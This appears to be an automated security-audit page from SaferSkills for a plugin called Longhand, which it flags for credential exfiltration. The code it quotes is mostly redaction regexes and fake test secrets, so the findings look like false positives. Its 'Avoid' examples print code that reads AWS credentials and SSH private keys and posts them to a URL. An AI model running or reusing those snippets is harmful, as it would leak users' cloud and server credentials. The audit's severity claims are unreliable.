Longhand— plugin

Longhand — independently scanned and version-tracked by SaferSkills.

by Wynelson94·Plugin·github.com/Wynelson94/longhand

Is Longhand safe to install?

SaferSkills independently audited Longhand (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 4 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 31d ago
Scans run2 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 4 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 4 flagged

Securityscore 0 · 4 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · longhand/redaction.py×2
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (("aws_access_key_id", re.compile(r"\b(?:AKIA|ASI…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptlonghand/redaction.py· python
28# (name, pattern) — order matters: anthropic before the generic sk- catch-all.
29PATTERNS: list[tuple[str, re.Pattern[str]]] = [
30("aws_access_key_id", re.compile(r"\b(?:AKIA|ASIA)[A-Z0-9]{16}\b")),
31(
32"aws_secret_access_key",
Occurrences
2 occurrences · first at L30, also L32
Show all 2 locations
Line
File
L30
longhand/redaction.py
L32
longhand/redaction.py
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_redaction.py
CRITICALfull cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (("aws_access_key_id", FAKE_AWS),). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_redaction.py· python
46("openai_key", FAKE_OPENAI),
47("github_token", FAKE_GITHUB),
48("aws_access_key_id", FAKE_AWS),
49("google_api_key", FAKE_GOOGLE),
50("slack_token", FAKE_SLACK),
Occurrences
1 occurrence · at L48
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256eee0dde13d2205eerubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_redaction.py
HIGHSSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (FAKE_SSH_HEADER = "-----BEGIN OPENSSH PRIVATE KE…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_redaction.py· python
33FAKE_JWT = "eyJ" + "a" * 12 + "." + "eyJ" + "b" * 12 + "." + "c" * 12
34FAKE_DB_URL = "postgres://user:[email protected]/prod"
35FAKE_SSH_HEADER = "-----BEGIN OPENSSH PRIVATE KEY-----"
36FAKE_SSN = "123-45-6789"
37FAKE_CARD_REAL = "4012-8888-8888-1881" # Luhn-valid, varied digits
Occurrences
1 occurrence · at L35
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566031e2b8d72640dcrubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.